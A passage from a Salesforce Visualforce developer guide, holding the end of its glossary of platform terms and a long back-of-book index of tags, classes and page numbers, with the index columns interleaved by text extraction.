apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with
related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other
Salesforce users from the AppExchange.
512
Glossary
B
Boolean Operators
You can use Boolean operators in report filters to specify the logical relationship between two values. For example, the
AND operator between two values yields search results that include both values. Likewise, the OR operator between two
values yields search results that include either value.
C
Campaign
A marketing initiative, such as an advertisement, direct mail, or conference, that you conduct in order to generate prospects
and build brand awareness.
Case
Detailed description of a customer’s feedback, problem, or question. Used to track and solve your customers’ issues.
Clone
Clone is the name of a button or link that allows you to create a new item by copying the information from an existing
item, for example, a contact or opportunity.
Collapsible Section
Sections on detail pages that users can hide or show.
Contact
Contacts are the individuals associated with your accounts.
Contract
A contract is an agreement defining the terms of business between parties.
Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use
the standard controllers that come by default with every standard or custom object, or they can use custom controllers.
Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes
a number of standard components, or you can create your own custom components.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a
session “cookie” only to record encrypted authentication information for the duration of a specific session.
Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller.
Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the
permissions and field-level security of the current user.
513
Glossary
Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs.
Custom Help
Custom text administrators create to provide users with on-screen information specific to a standard field, custom field,
or custom object.
Custom Links
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office
systems. Formerly known as Web links.
Custom Object
Custom records that allow you to store information unique to your organization.
Custom S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in
a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Custom App
See App.
D
Data State
The structure of data in an object at a particular point in time.
Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding
controlling field.
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information,
whereas the edit page allows you to modify it.
A term used in reports to distinguish between summary information and inclusion of all column data for all information
in a report. You can toggle the Show Details/Hide Details button to view and hide report detail information.
Detail View
The Console tab's center frame, which is the detail page view of any record selected from any of the console’s other frames.
The detail view displays the same page layouts defined for the object’s detail pages. When a record is displayed in the
detail view, it is highlighted in the list view.
Developer Edition
A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com
platform. Developer Edition accounts are available on developer.force.com.
514
Glossary
E
Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement
that a customer service request has been received. Email templates can be personalized with merge fields, and can be
written in text, HTML, or custom format.
Event
An event is an activity that has a scheduled time. For example, a meeting, or a scheduled phone call.
F
Facet
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of
the facet.
Field-Level Help
Custom help text that you can provide for any standard or custom field. It displays when users hover a mouse over the
help icon adjacent to that field.
Formula Field
A type of custom field. Formula fields automatically calculate their values based on the values of merge fields, expressions,
or other values.
Function
Built-in formulas that you can customize with input parameters. For example, the DATE function creates a date field
type from a given year, month, and day.
G
Get Request
A get request is made when a user initially requests a Visualforce page, either by entering a URL or clicking a link or
button.
Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.
H
No Glossary items for this entry.
I
No Glossary items for this entry.
515
Glossary
J
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many”
relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
K
No Glossary items for this entry.
L
Landing Page
A landing page is an existing page on your corporate website or a page that you have designed specifically for your Google
advertisements. Landing pages typically contain an offer and a Web-to-Lead form.
Lead
A lead is a sales prospect who has expressed interest in your product or company.
Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the
field.
Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the
decimal point, for example, 123.98 for an entry of 3.
M
Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts
have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes
the lookup relationship field required on the page layout.
Merge Field
A field you can put in an email template, mail merge template, custom link, or formula to incorporate values from a record.
For example, Dear {!Contact.FirstName}, uses a contact merge field to obtain the value of a contact record's First
Name field to address an email recipient by his or her first name.
Mobile Configuration
A set of parameters that determines the data Salesforce transmits to users' mobile devices, and which users receive that
data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of
different types of mobile users.
N
Notes
Miscellaneous information pertaining to a specific record.
516
Glossary
O
Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type
of information you are storing. For example, the case object allow you to store information regarding customer inquiries.
For each object, your organization will have multiple records that store the information about specific instances of that
type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry and
another case record to store the information about Mary Johnson's configuration issue.
Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail,
and edit pages, as well as list views and related lists.
Opportunities
Opportunities track your sales and pending deals.
Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an
individual customer of salesforce.comDatabase.com. Your organization includes all of your data and applications, and is
separate from all other organizations.
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint. Outbound messaging is configured in the Salesforce setup menu. Then you must configure
the external endpoint. You can create a listener for the messages using the Web services API.
Owner
Individual user to which a record (for example, a contact or case) is assigned.
P
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the
format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a
chosen value during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A
package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package. See also Patch and Patch Development
Organization.
Page Layout
Page layout is the organization of fields, custom links, and related lists on a record detail or edit page. Use page layouts
primarily for organizing pages for your users. In Enterprise, Unlimited, and Developer Editions, use field-level security
to restrict users’ access to specific fields.
Partial Page
An AJAX behavior where only a specific portion of a page is updated following some user action, rather than a reload of
the entire page.
517
Glossary
Postback Request
A postback request is made when user interaction requires a Visualforce page update, such as when a user clicks on a Save
button and triggers a save action.
Primary Contact
Field in company information that lists the primary contact for your organization.
Also indicates the primary contact associated with an account, contract, or opportunity. Specified as a checkbox in the
Contact Roles related list of an account, contract, or opportunity.
Product
A product is any item or service your organization sells. Products are defined in a price book, and can be added to
opportunities. Available in Professional, Enterprise, Unlimited, and Developer Editions only.
Prototype object
This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's fields
are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's
collection.
Q
No Glossary items for this entry.
R
Read Only
One of the standard profiles to which a user can be assigned. Read Only users can view and report on information based
on their role in the organization. (That is, if the Read Only user is the CEO, they can view all data in the system. If the
Read Only user has the role of Western Rep, they can view all data for their role and any role below them in the hierarchy.)
Record
A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record.
Record Type
A record type is a field available for certain records that can include some or all of the standard and custom picklist values
for that record. You can associate record types with profiles to make only the included picklist values available to users
with that profile.
Related List
A section of a record or other detail page that lists items related to that record. For example, the Stage History related list
of an opportunity or the Open Activities related list of a case.
Related Object
Objects chosen by an administrator to display in the Console tab's mini view when records of a particular type are shown
in the console's detail view. For example, when a case is in the detail view, an administrator can choose to display an
associated account, contact, or asset in the mini view.
Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values
in a specified field in both objects are used to link related data; for example, if one object stores data about companies and
another object stores data about people, a relationship allows you to find out which people work at the company.
518
Glossary
Report
A report returns a set of records that meets certain criteria, and displays it in organized rows and columns. Report data
can be filtered, grouped, and displayed graphically as a chart. See Tabular Report, Summary Report, and Matrix Report.
S
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in
a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Sites
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce
organization—without requiring users to log in with a username and password.
Skeleton Template
A type of Visualforce template that uses the <apex:composition> tag. Skeleton templates define a standard structure
that requires implementation from subsequent pages.
Solution
A solution is a detailed description of the resolution to a customer issue.
T
Text
Data type of a custom field that allows entry of any combination of letters, numbers, or symbols, up to a maximum length
of 255 characters.
Text Area
A custom field data type that allows entry of up to 255 characters on separate lines.
U
User Interface
The layouts that specify how a data model should be displayed.
V
Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls;
Apex classes and triggers; and Visualforce pages and components.
519
Glossary
View
The user interface in the Model-View-Controller model, defined by Visualforce.
View State
Where the information necessary to maintain the state of the database between requests is saved.
Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built
on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list,
or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers
can associate their own logic with a controller written in Apex.
Visualforce Lifecycle
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user
session.
Visualforce Page
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but
they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment,
and can be associated with a CSS style.
W
No Glossary items for this entry.
X
No Glossary items for this entry.
Y
No Glossary items for this entry.
Z
No Glossary items for this entry.
520
Index
Index
@readonly 85 apex (continued)
@remoteaction 85 form tag 307
@RemoteAction 191, 195 iframe tag 310
$Component global variable 247 image tag 311
$User global variable 28 include tag 314
$User.UITheme global variable type 58 includeScript tag 314
$User.UIThemeDisplayed global variable type 58 inlineEditSupport tag 315
inputCheckbox tag 316
inputField tag 320
A inputFile tag 322
About Visualforce 9 inputHidden tag 325
Accessing custom components 138 inputSecret tag 326
action attribute 34, 249 inputText tag 329
Action class 481 inputTextarea tag 331
instantiation 481 insert tag 334
methods 481 legend tag 335
understanding 481 lineSeries tag 336
Action global variable type 446 listViews tag 337
Action methods 82, 108 message tag 338
actionFunction tag 108, 240, 247 messages tag 340
actionPoller tag 82, 108 outputField tag 342
Actions 65 outputLabel tag 343
standard controller 65 outputLink tag 345
actionStatus tag 54, 143, 252 outputPanel tag 348
actionSupport tag 55, 82, 108, 210, 247 outputText tag 350
advanced examples 202 page tag 352
Ajax 53–55 pageBlock tag 356
asynchronous operation status 54 pageBlockButtons tag 358
JavaScript events 55 pageBlockSection tag 360
partial page updates 53 pageBlockSectionItem tag 363
AJAX Toolkit 9 pageBlockTable tag 366
apex 256, 258, 260–261, 264, 266, 268–269, 271–274, 279, 282, 285, pageMessage tag 371
287, 289–290, 293, 299–301, 303, 305–307, 310–311, 314– pageMessages tag 372
316, 320, 322, 325–326, 329, 331, 334–338, 340, 342–343, panelBar tag 373
345, 348, 350, 352, 356, 358, 360, 363, 366, 371–373, 375, panelBarItem tag 375
377, 381–384, 386, 388–390, 393, 397, 399–400, 404–405, panelGrid tag 377
407, 410, 414–416 panelGroup tag 381
actionFunction tag 256 param tag 382
actionPoller tag 258 pieSeries tag 383
actionRegion tag 260 relatedList tag 384
actionStatus tag 261 repeat tag 386
actionSupport tag 264 scontrol tag 388
attribute tag 266 sectionHeader tag 389
axis tag 268 selectCheckboxes tag 390
barSeries tag 269 selectList tag 393
chart tag 271 selectOption tag 397
chartLabel tag 272 selectOptions tag 399
chartTips tag 273 selectRadio tag 400
column tag 274 stylesheet tag 404
commandButton tag 279 tab tag 405
commandLink tag 282 tabPanel tag 407
component tag 285 toolbar tag 410
componentBody tag 287 toolbarGroup tag 414
composition tag 289 variable tag 415
dataList tag 290 vote tag 416
dataTable tag 293 Apex 14, 84, 105, 123, 480
define tag 299 class security 84
detail tag 300 classes used with controllers 480
dynamicComponent tag 301 when to use 14
enhancedList tag 303 API 9
facet tag 305 API 24.0 17 521
flash tag 306
Index
API calls, Web services 14 chatter (continued)
when to use 14 follow tag 418
API global variable type 447 followers tag 419
Architecture 11, 14, 87–88, 90 newsfeed tag 419
controller extension 87–88, 90 chatteranswers 420–423
custom controller 87–88, 90 allfeeds tag 420
execution order 87 changepassword tag 420
get request 88 forgotpassword tag 421
MVC 14 forgotpasswordconfirm tag 421
postback request 90 help tag 422
view state 90 login tag 422
Visualforce 11 registration tag 422
Archives, referencing files in 133 singleitemfeed tag 423
Asynchronous operation status 54 Classes 103, 481–482, 485, 489, 492–493, 498, 501, 503
attachment tag 185 action 481
Attachments, adding to email templates 185 IdeaStandardController 482
attribute tag 139 IdeaStandardSetController 485
Attributes 34, 53, 55, 57, 59, 64, 105, 107, 123, 140, 247 KnowledgeArticleVersionStandardController 489
action 34 message 492
controller 105, 123 pageReference 493
default 140 selectOption 498
for 247 standardController 501
id 247 standardSetController 503
rerender 247 Visualforce 103
reRender 53, 55 Code 472
standardController 64 security 472
status 247 Collections 506
style 59 size limits 506
styleClass 59 column tag 251
tabStyle 57, 107 commandButton tag 35, 38, 51, 82, 108, 115, 117
Auto-completion 13 commandLink tag 35, 38, 51–53, 82, 108
axis tag 190–191, 195 common.css 59
Compiling 26
Component global variable type 447
B Component reference 30, 256
barSeries tag 190–191, 195 using 30
Benefits, Visualforce 13 component tag 137
Best practices 245, 249–250, 252–253, 255 componentLabel global variable type 448
controllers 250 Components, custom 135
facets 250 See Custom components 135
improving performance 245 composition tag 206
pageBlockSectionItem 252 compound ID 247
panelBar 255 Constructors 77
PDF 253 custom controller 77
render as PDF 253 ContentType 61
static resources 249 Controllers 10, 28, 64, 66, 76–77, 79–80, 82, 84–85, 87–88, 90, 99,
BlackBerry 218 102–103, 105–106, 108, 110, 112, 123, 140, 143, 215, 250,
development 218 480
Buttons 59, 126 about 28
overriding 126 addFields method 143
Salesforce styles 59 architecture 87
best practices 250
creating custom 105, 123
C creating custom action methods 108
creating custom getter methods 106
c namespace 138 creating custom navigation methods 110
Callouts 506 creating dependent controllers and pages 112
execution limits 506 custom 76–77, 85, 480
Cascading style sheets 57–59 custom component 140
extending Salesforce 57 custom list 80
identifying Salesforce look and feel 58 execution order 87
Salesforce 59 extending 480
chart tag 190–191, 195 extensions 76, 79, 85, 143
chartLabel tag 190–191, 195 get requests 88
chartTips tag 190–191, 195 governor limits 87
chatter 417–419 large queries 85
feed tag 417 maintaining view state 103 522
feedWithFollowers tag 418 methods 82
Index
Controllers (continued) Custom styles 59
order of method instantiation 87 custom.css 59
overview 10 Customizing 126
postback requests 90 tab home pages 126
Read Only Context 85
reset method 143
security 84
D
sharing rules 250 Dashboard components, Visualforce 41, 118
standard 64 advanced 118
testing 99 basic 41
transient keyword 103 Data model 9
validation rules 66, 102 dataTable tag 47–48, 251
view state 87, 90 define tag 206
Visualforce Mobile 215 Dependent picklists 40
Conventions 20 adding 40
Cross-platform mobile development 219 detail tag 30, 181
CSS styles 57–59, 215 Developer Edition 11
extending Salesforce 57 Development 22, 472
identifying Salesforce look and feel 58 environments 22
Salesforce 59 guidelines 22
Visualforce Mobile 215 security 472
CurrentPage global variable 50 tools 22
CurrentPage global variable type 448 View State tab 22
Custom components 135–140, 184 Development mode 13, 22, 99
about 135 enabling 22
attributes 139 DML operations 506
controllers 140 execution limits 506
default attributes 140 Documentation typographical conventions 20
defining 136 Documents compared to static resources 132
email template styles in 184 DOM ID 238
markup 137 Dynamic Visualforce 168
namespaces, componentBody 138 components 168
using in markup 138 Dynamic Visualforce binding 142–143, 151, 153, 157
Custom controllers 76–77, 82–84, 87–88, 90, 99, 102, 105–106, 108, custom objects 151
110, 174, 188 global variables 157
action methods 82 globals 157
and email templates 188 lists 153
architecture 87 maps 153
building 77 packages 151
considerations when creating 87 standard objects 143
constructors 77 Dynamic Visualforce components 164–165
creating 105 implementation guidelines 165
creating action methods 108 dynamicComponent tag 165
creating getter methods 106
creating navigation methods 110
execution order 87 E
get requests 88
getName() method 105 Editions 11, 212
getter methods 82 supported Salesforce 11
getting and setting data 83 supported Salesforce Mobile 212
governor limits 87 Email 174, 177, 180
order of method instantiation 87 attachments 177
postback requests 90 sending 174
security 84 templates 180
setter methods 82 Email templates 180–181, 183, 185, 188
system mode 77 attachments 185
testing 99 creating 181
using email in 174 stylesheets 183
using in emails 174 translating 181
validation rules 102 using custom controllers 188
view state 87, 90 emailTemplate tag 181
Custom help 249 Environments 22
Custom list controllers 80, 123 Events, JavaScript 55
building 80 Execution governors 506
creating 123 understanding 506
mass-update 123 Execution order 87, 92
Custom objects 42 examples 92
523
related lists 42 Expression operators 470
Index
Extensions, controller 76, 79, 82–83, 87–88, 90, 99 Global variables (continued)
action methods 82 $Resource 133, 452
architecture 87 $SControl 453
considerations when creating 87 $Site 453
execution order 87 $System.OriginDateTime 455
get requests 88 $User 28, 455
getter methods 82 $User.UITheme 58, 456
getting and setting data 83 $User.UIThemeDisplayed 58, 456
governor limits 87 $UserRole 456
leftmost 79 CurrentPage 50
order of method instantiation 87 System 107
overriding 79 Governor limits, controller 87
postback requests 90 Governors 506
setter methods 82 execution 506
testing 99 Guidelines 22
view state 87, 90
H
F
Heap size 506
facet tag 53–54, 143, 250 execution limits 506
Features, new 17 Hello World example 27–28
Field Sets 155 creating a page 27
creating 155 displaying field values 28
dynamic references 155 Help, custom 249
using 155 Highlighting, syntax 13
finishLocation 204 HTML 13, 62
Fixes, quick 13, 109 doctype 62
Flash 13 doctype declaration 62
flow 423 document type 62
interview tag 423 Document Type Definition 62
Flows 200, 204 DTD 62
embedding 200 htmlEmailBody tag 181
finishLocation 200, 204
for attribute 247
Force.com platform 9, 14
I
about 9 id attribute 140, 247
form tag 35–36, 38, 52, 115, 117, 174, 181 id query string parameter 49
form tag, Visualforce 119 ideas 424–425, 427
Forms 35–36, 38 detailOutputLink tag 424
accessibility 36, 38 listOutputLink tag 425
creating 35–36, 38 profileListOutputLink tag 427
field label 36 IdeaStandardController class 482
field order 38 instantiation 482
input field 36 methods 482
label 36 understanding 482
tab order 38 IdeaStandardSetController class 485
Functions 133, 457 instantiation 485
URLFOR 133 methods 485
understanding 485
G IDEs 22
image tag, 119
Get requests 88 Improving performance 245
getName() method 105 include tag 51, 210, 215
Getter methods 82, 106 inline editing, Visualforce 43
Global variables 28, 50, 58, 107, 133, 247, 446–449, 451–453, 455– enabling 43
456 Input components 35–36, 38
$Action 446 Input components, Visualforce 119
$Api 447 inputCheckbox tag 35–36, 38
$Component 247, 447 inputField tag 14, 35–36, 38, 115, 117, 131, 247
$componentLabel 448 inputFile tag 38
$CurrentPage 448 inputHidden tag 35
$Label 448 inputSecret tag 35–36, 38
$Label.Site 449 inputText tag 35–36, 38, 143
$ObjectType 451 inputTextarea tag 35–36, 38
$Organization 451 inputTextArea tag, Visualforce 119
$Page 452 insert tag 206
524
$Profile 452
Index
iPhone 216, 228 liveAgent (continued)
development 216 clientChatSendButton tag 435
mapping application example 228 Loops 506
Iteration components 47–48 execution limits 506
J M
Jar archives, referencing files in 133 Markup, Visualforce 10
JavaScript 13, 53–55, 222, 238, 240, 243 overview 10
Ajax 53 Merge fields 13
Ajax asynchronous operation status 54 Message class 492–493
events 55 instantiation 492
library for Visualforce Mobile 222 methods 493
partial page updates 53 severity enum 493
remoting 240, 243 understanding 492
using DOM ID 238 Message severity 493
Visualforce 238 messaging 436–438, 440–441
JavaScript library 239 attachment tag 436
Visualforce 239 emailHeader tag 437
emailTemplate tag 438
htmlEmailBody tag 440
K plainTextEmailBody tag 441
Keywords 103 Messaging namespace 174, 177
transient 103 EmailFileAttachment class 177
knowledge 428–431 SingleEmailMessage class 174
articleCaseToolbar tag 428 Methods 82, 105–106, 108, 110, 480–482, 485, 489, 493–494, 499,
articleList tag 429 501, 504
articleRendererToolbar tag 430 action 82, 108, 481
articleTypeList tag 431 ApexPages 480
categoryList tag 431 getName() 105
KnowledgeArticleVersionStandardController class 489 getter 82, 106
methods 489 IdeaStandardController 482
understanding 489 IdeaStandardSetController 485
KnowledgeArticleVersionStandardController 489
message 493
L navigation 110
pageReference 494
Label global variable type 448 SelectOption 499
Label.site global variable type 449 setter 82
Layouts, page 9 StandardController 501
See Page layouts 9 StandardSetController 504
legend tag 190–191, 195 Mobile 212
Library 222 see Visualforce Mobile 212
JavaScript commands for Visualforce Mobile 222 mobile client application 213
Library, component 30 mobile configurations 225
See Component reference 30 MVC architecture 14
Lifecycle 22, 87–88, 90, 92
controller 87–88, 90, 92
controller extension 87–88, 90, 92 N
execution order 87
get request 88 Namespaces 138
page 87–88, 90, 92 c 138
postback request 90 custom component 138
view state 90 Navigation 110, 112
View State tab 22 New features in this release 17
Limits 506
code execution 506 O
lineSeries tag 190–191, 195
Links 51 ObjectType global variable type 451
query string parameters 51 Operators, expression 470
liveAgent 432–435 Organization global variable type 451
clientChat tag 432 outputField tag 131
clientChatEndButton tag 433 outputLabel tag 38, 247
clientChatInput tag 433 outputLink tag 38, 51
clientChatLog tag 434 outputPanel tag 53, 55, 252
clientChatMessages tag 434 outputText tag 143
clientChatQueuePosition tag 435 Overriding 126 525
clientChatSaveButton tag 435 buttons 126
Index
Overriding (continued) Quick start 27–28, 34, 45, 48
tab home pages 126 creating a page 27
Overview 9, 212 displaying field values 28
Salesforce Mobile 212 Editing table data 48
Visualforce 9 PDF 45
Visualforce Mobile 212 redirecting pages 34
render as PDF 45
specifying a controller 28
P Quick start tutorial, Visualforce 26
packages 151
Page creation 26 R
Page editor 27
Page global variable type 452 Read Only Context 85
Page layouts 9 Record types 131
limitations 9 Redirecting to a static resource 249
page tag 27, 34, 57, 64, 85, 249 Reference, component 30
pageBlock tag 30, 57, 115, 117, 181 See Component reference 30
pageBlockButtons tag 115, 117 relatedList tag 42, 53
pageBlockSection tag 115, 117 Release notes 17
pageBlockSectionItem tag 252 rendered attribute 140
pageBlockTable tag 47–48 repeat tag 143, 181, 255
pageMessage tag 58 rerender attribute 247
PageReference class 493–494, 497–498 reRender attribute 53
instantiation 494 Resource global variable 133
methods 494 Resource global variable type 452
navigation example 498 Resources, static 132
query string example 497 See Static resources 132
understanding 493
PageReference object 107, 110
PageReference objects 109, 115
S
Pages 57, 215–216, 218–219 S-controls 9, 15
BlackBerry development 218 compared with Visualforce pages 15
cross-platform mobile development 219 limitations 9
iPhone development 216 Salesforce editions, supported 11
mobile development 215 Salesforce Mobile 212, 225
styling 57 mobile configurations 225
Pages, Visualforce 10–11 overview 212
overview 10 supported devices 212
usage 11 Salesforce styles 57
panelBar tag 255 Saving 26
param tag 51–52 SControl global variable type 453
Parameters 49–51 Security 472, 474
getting query string 50 code 472
query string id 49 formulas 474
setting query string 51 Visualforce 474
Partial page updates 53 Security, controller 84
PDF, best practice 253 selectCheckboxes tag 36, 38
PDF, render as 45 selectList tag 36, 38
Permissions 84 SelectOption 498–500
controller 84 class 498
pieSeries tag 190–191, 195 example 500
plainTextEmailBody tag 181 instantiation 499
Platform, Force.com 9 methods 499
See Force.com platform 9 selectOption tag, Visualforce 119
Postback requests 90 selectRadio tag 36, 38
Profile global variable type 452 selectRadio tag, Visualforce 119
Setter methods 82
Q Severity, messages 493
Sharing rules 250
Queries 506 site 442–443
execution limits 506 googleAnalyticsTracking tag 442
Query string parameters 49–51, 99 previewAsAdmin tag 443
getting 50 Site global variable type 453
setting 51 social 444
testing with 99 profileViewer tag 444
Quick fixes 13, 109 SOQL queries 506
526
execution limits 506
Index
SOSL queries 506 Tags (continued)
execution limits 506 381–384, 386, 388–390, 393, 397, 399–400, 404–405, 407,
Spring ’12 17 410, 414–425, 427–438, 440–444
Standard controllers 64–67, 76, 79 actionFunction 108, 240, 247
accessing data 65 actionPoller 82, 108
actions 65 actionStatus 54, 143, 252
associating with pages 64 actionSupport 55, 82, 108, 210, 247
extending 76, 79 apex:actionFunction 256
styling pages that use 67 apex:actionPoller 258
validation rules 66 apex:actionRegion 260
Standard object list 34 apex:actionStatus 261
StandardController 501–502 apex:actionSupport 264
example 502 apex:attribute 266
methods 501 apex:axis 268
standardController attribute 64 apex:barSeries 269
StandardController class 501 apex:chart 271
instantiation 501 apex:chartLabel 272
understanding 501 apex:chartTips 273
StandardSetController 123, 504–505 apex:column 274
example 505 apex:commandButton 279
methods 504 apex:commandLink 282
prototype object 123 apex:component 285
StandardSetController class 503 apex:componentBody 287
instantiation 503 apex:composition 289
prototype object 503 apex:dataList 290
understanding 503 apex:dataTable 293
Statements 506 apex:define 299
execution limits 506 apex:detail 300
Static resources 132–133, 249 apex:dynamicComponent 301
creating 132 apex:enhancedList 303
limits 132 apex:facet 305
redirecting to 249 apex:flash 306
referencing in markup 133 apex:form 307
status attribute 247 apex:iframe 310
style attribute 59 apex:image 311
Style sheets 59 apex:include 314
See Cascading style sheets. 59 apex:includeScript 314
styleClass attribute 59 apex:inlineEditSupport 315
stylesheet tag 57, 59 apex:inputCheckbox 316
Stylesheets 183 apex:inputField 320
email template 183 apex:inputFile 322
Styling pages 57, 59, 67 apex:inputHidden 325
standard controllers and 67 apex:inputSecret 326
with custom styles 59 apex:inputText 329
with Salesforce styles 57 apex:inputTextarea 331
Syntax highlighting 13 apex:insert 334
System global variable 107 apex:legend 335
System mode 77 apex:lineSeries 336
System.OriginDateTime global variable 455 apex:listViews 337
apex:message 338
apex:messages 340
T apex:outputField 342
Tables 47–48 apex:outputLabel 343
dataTable tag 47–48 apex:outputLink 345
pageBlockTable tag 47–48 apex:outputPanel 348
Tabs 126, 224 apex:outputText 350
overriding 126 apex:page 352
Visualforce Mobile 224 apex:pageBlock 356
tabStyle attribute 57, 107 apex:pageBlockButtons 358
Tags 14, 27, 30, 34–36, 38, 42, 47–48, 51–55, 57–59, 64, 82, 85, 108, apex:pageBlockSection 360
115, 117, 131, 137–139, 143, 165, 168, 174, 181, 185, 190– apex:pageBlockSectionItem 363
191, 195, 206, 210, 215, 240, 247, 249–252, 255–256, 258, apex:pageBlockTable 366
260–261, 264, 266, 268–269, 271–274, 279, 282, 285, 287, apex:pageMessage 371
289–290, 293, 299–301, 303, 305–307, 310–311, 314–316, apex:pageMessages 372
320, 322, 325–326, 329, 331, 334–338, 340, 342–343, 345, apex:panelBar 373
348, 350, 352, 356, 358, 360, 363, 366, 371–373, 375, 377, apex:panelBarItem 375
apex:panelGrid 377 527
apex:panelGroup 381
Index
Tags (continued) Tags (continued)
apex:param 382 knowledge:articleRendererToolbar 430
apex:pieSeries 383 knowledge:articleTypeList 431
apex:relatedList 384 knowledge:categoryList 431
apex:repeat 386 legend 190–191, 195
apex:scontrol 388 lineSeries 190–191, 195
apex:sectionHeader 389 liveAgent:clientChat 432
apex:selectCheckboxes 390 liveAgent:clientChatEndButton 433
apex:selectList 393 liveAgent:clientChatInput 433
apex:selectOption 397 liveAgent:clientChatLog 434
apex:selectOptions 399 liveAgent:clientChatMessages 434
apex:selectRadio 400 liveAgent:clientChatQueuePosition 435
apex:stylesheet 404 liveAgent:clientChatSaveButton 435
apex:tab 405 liveAgent:clientChatSendButton 435
apex:tabPanel 407 messaging:attachment 436
apex:toolbar 410 messaging:emailHeader 437
apex:toolbarGroup 414 messaging:emailTemplate 438
apex:variable 415 messaging:htmlEmailBody 440
apex:vote 416 messaging:plainTextEmailBody 441
attachment 185 outputField 131
attribute 139 outputLabel 38, 247
axis 190–191, 195 outputLink 38, 51
barSeries 190–191, 195 outputPanel 53, 55, 252
chart 190–191, 195 outputText 143
chartLabel 190–191, 195 page 27, 34, 57, 64, 85, 249
chartTips 190–191, 195 pageBlock 30, 57, 115, 117, 181
chatter:feed 417 pageBlockButtons 115, 117
chatter:feedWithFollowers 418 pageBlockSection 115, 117
chatter:follow 418 pageBlockSectionItem 252
chatter:followers 419 pageBlockTable 47–48
chatter:newsfeed 419 pageMessage tag 58
chatteranswers:allfeeds 420 panelBar 255
chatteranswers:changepassword 420 param 51–52
chatteranswers:forgotpassword 421 pieSeries 190–191, 195
chatteranswers:forgotpasswordconfirm 421 plainTextEmailBody 181
chatteranswers:help 422 relatedList 42, 53, 168
chatteranswers:login 422 repeat 143, 181, 255
chatteranswers:registration 422 selectCheckboxes 36, 38
chatteranswers:singleitemfeed 423 selectList 36, 38
column 251 selectRadio 36, 38
commandButton 35, 38, 51, 82, 108, 115, 117 site:googleAnalyticsTracking 442
commandLink 35, 38, 51–53, 82, 108 site:previewAsAdmin 443
component 137 social:profileViewer 444
componentBody 138 stylesheet 57, 59
composition 206 Tags, custom 135
dataTable 47–48, 251 See Custom components 135
define 206 Templates 206
detail 30, 181 dynamic 206
dynamicComponent 165 skeleton 206
emailTemplate 181 Templates, email 180
facet 53–54, 143, 250 See Email templates 180
flow:interview 423 Testing controllers 99
form 35–36, 38, 52, 115, 117, 174, 181 transient keyword 103
htmlEmailBody 181 Troubleshooting 26, 245
ideas:detailOutputLink 424 page creation 26
ideas:listOutputLink 425 performance issues 245
ideas:profileListOutputLink 427 Tutorial, Visualforce quick start 26
include 51, 210, 215 Typographical conventions 20
inputCheckbox 35–36, 38
inputField 14, 35–36, 38, 115, 117, 131, 247
inputFile 38
U
inputHidden 35 Unit tests 99
inputSecret 35–36, 38 Upgrading 14
inputText 35–36, 38, 143 Visualforce 14
inputTextarea 35–36, 38 URL query string parameters 49–51
insert 206 getting 50
knowledge:articleCaseToolbar 428 setting 51 528
knowledge:articleList 429 URLFOR function 133
Index
